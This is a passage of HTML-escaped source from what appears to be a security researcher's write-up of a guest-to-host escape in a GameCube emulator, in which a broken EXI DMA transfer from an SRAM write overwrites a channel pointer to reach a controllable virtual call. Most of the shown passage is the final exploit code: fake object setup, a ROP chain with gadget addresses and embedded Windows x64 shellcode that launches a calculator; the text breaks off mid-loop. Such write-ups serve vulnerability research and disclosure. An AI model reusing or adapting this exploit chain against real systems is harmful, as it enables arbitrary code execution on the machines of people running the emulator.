&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; Overwrites g_Channels[0]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    static char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; buf&lt;&#x2F;span&gt;&lt;span&gt;[TARGET_PTR_OFFSET &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u64 ptr &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; bswap64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;guest_to_host_addr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;fake_channel));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    memcpy&lt;&#x2F;span&gt;&lt;span&gt;(buf &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt; TARGET_PTR_OFFSET,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;ptr,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; sizeof&lt;&#x2F;span&gt;&lt;span&gt;(ptr));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    __sram_write&lt;&#x2F;span&gt;&lt;span&gt;(buf,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; sizeof&lt;&#x2F;span&gt;&lt;span&gt;(buf));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Running this shows that there&#x27;s a trivially controllable virtual call. Nice!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;slippirce&#x2F;vtblcheck.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Specifically, this is happening in &lt;code&gt;ExpansionInterface::UpdateInterrupts()&lt;&#x2F;code&gt;, which gets called immediately after the broken DMA transfer completes. &lt;code&gt;IsInterruptSet&lt;&#x2F;code&gt; is the controllable virtual call on the fake &lt;code&gt;IEXIDevice&lt;&#x2F;code&gt; object.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; UpdateInterrupts&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;	&#x2F;&#x2F; Interrupts are mapped a bit strangely:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;	&#x2F;&#x2F; Channel 0 Device 0 generates interrupt on channel 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;	&#x2F;&#x2F; Channel 0 Device 2 generates interrupt on channel 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;	&#x2F;&#x2F; Channel 1 Device 0 generates interrupt on channel 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;	g_Channels&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;SetEXIINT&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;g_Channels&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;GetDevice&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;)-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;IsInterruptSet&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;	bool&lt;&#x2F;span&gt;&lt;span&gt; causeInt &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;	for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;auto&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; channel : g_Channels)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;		causeInt &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;|=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; channel&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;IsCausingInterrupt&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	ProcessorInterface::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;SetInterrupt&lt;&#x2F;span&gt;&lt;span&gt;(ProcessorInterface::INT_CAUSE_EXI, causeInt);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;I&#x27;m not going to go through the whole process of how I wrote the ROP chain for this since that isn&#x27;t very interesting, but here&#x27;s the final exploit code:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;lt;string.h&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;lt;gccore.h&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;lt;ogc&#x2F;machine&#x2F;processor.h&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Adapted from internal libogc code&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;static void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; __sram_write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;void *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;buffer&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; u32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; size&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    EXI_Lock&lt;&#x2F;span&gt;&lt;span&gt;(EXI_CHANNEL_0, EXI_DEVICE_1,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    EXI_Select&lt;&#x2F;span&gt;&lt;span&gt;(EXI_CHANNEL_0, EXI_DEVICE_1, EXI_SPEED8MHZ);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u32 cmd &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xA0000100&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    EXI_Imm&lt;&#x2F;span&gt;&lt;span&gt;(EXI_CHANNEL_0,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;cmd,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span&gt;, EXI_WRITE,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    EXI_Sync&lt;&#x2F;span&gt;&lt;span&gt;(EXI_CHANNEL_0);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    EXI_Dma&lt;&#x2F;span&gt;&lt;span&gt;(EXI_CHANNEL_0, buffer, size, EXI_WRITE,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;typedef struct&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u8 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;gap0&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0x18&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u64 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;m_devices&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt; &#x2F;&#x2F; IEXIDevice*[3]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u8 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;gap30&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0x8&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; CEXIChannel&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;static_assert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;sizeof&lt;&#x2F;span&gt;&lt;span&gt;(CEXIChannel)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x38&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;#define&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; RAM_BASE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x7FFF0000uL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;#define&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; TARGET_PTR_OFFSET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x58&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;static&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; u64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; guest_to_host_addr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;const void*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; input&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; RAM_BASE &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt; ((u32)input &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x7FFFFFFF&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Don&amp;#39;t feel like writing my own calc shellcode for this&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; https:&#x2F;&#x2F;github.com&#x2F;boku7&#x2F;x64win-DynamicNoNull-WinExec-PopCalc-Shellcode&#x2F;blob&#x2F;main&#x2F;win-x64-DynamicKernelWinExecCalc.asm&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;static const&lt;&#x2F;span&gt;&lt;span&gt; u8 shellcode[] &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D7BA7D;&quot;&gt;\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D7BA7D;&quot;&gt;\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D7BA7D;&quot;&gt;\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D7BA7D;&quot;&gt;\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D7BA7D;&quot;&gt;\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D7BA7D;&quot;&gt;\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D7BA7D;&quot;&gt;\x48\x83\xec\x20\x41\xff\xd6\xcc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u64 rop_3[]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; __attribute__&lt;&#x2F;span&gt;&lt;span&gt;((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;aligned&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; pop rdx; ret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x4C06B2&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;        guest_to_host_addr&lt;&#x2F;span&gt;&lt;span&gt;(shellcode),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; pop r8; ret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x4EE16B&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;        sizeof&lt;&#x2F;span&gt;&lt;span&gt;(shellcode),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; memcpy&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0xEB7E52&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; call rax&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x41CFE9&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; Call from rop_2 points here&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; xchg esp, edx; ret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x898285&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; sizeof&lt;&#x2F;span&gt;&lt;span&gt;(rop_3)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; sizeof&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;rop_3&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]); i&lt;&#x2F;span&gt;&lt;span style=&quot;color: 